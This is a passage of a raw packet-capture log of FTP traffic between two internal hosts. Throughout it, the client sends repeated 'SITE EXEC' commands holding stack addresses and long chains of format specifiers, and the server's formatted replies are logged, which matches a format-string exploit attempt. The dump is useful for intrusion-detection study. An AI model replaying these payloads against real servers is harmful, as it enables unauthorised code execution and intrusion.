10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1248 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987307E Ack:
0x4DD6FC58 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488774 490698
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.749404 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12086 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD6FC58 Ack:
0xC987307E Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490701 488774
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
3E E1 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 >...%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.819895 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1249 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987307E Ack:
0x4DD6FE5D Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488776 490701
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.839269 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1250 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC987307E Ack:
0x4DD6FE5D Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488776 490701
53 49 54 45 20 45 58 45 43 20 37 20 F8 E0 FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.841825 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12087 IpLen:20
DgmLen:696 DF
***AP*** Seq: 0x4DD6FE5D Ack:
0xC987327D Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490708 488776
32 30 30 2D 37 20 F8 E0 FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 0D 0A x|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.849475 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1251 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987327D Ack: 0x4DD700E1 Win: 0x7C70
TcpLen: 32
TCP Options (3) => NOP NOP TS: 488780 490708
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.849575 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12088 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD700E1 Ack:
0xC987327D Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490711 488780
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
F8 E0 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.936067 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1252 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987327D Ack:
0x4DD702E6 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488782 490711
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.936076 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1253 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC987327D Ack:
0x4DD702E6 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488782 490711
53 49 54 45 20 45 58 45 43 20 37 20 B2 E0 FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.941702 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C7
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12089 IpLen:20
DgmLen:697 DF
***AP*** Seq: 0x4DD702E6 Ack:
0xC987347C Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490720 488782
32 30 30 2D 37 20 B2 E0 FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 6C 0D 0A x|l..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.959584 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1254 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987347C Ack:
0x4DD7056B Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488784 490720
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.959702 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12090 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD7056B Ack:
0xC987347C Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490722 488784
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
B2 E0 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
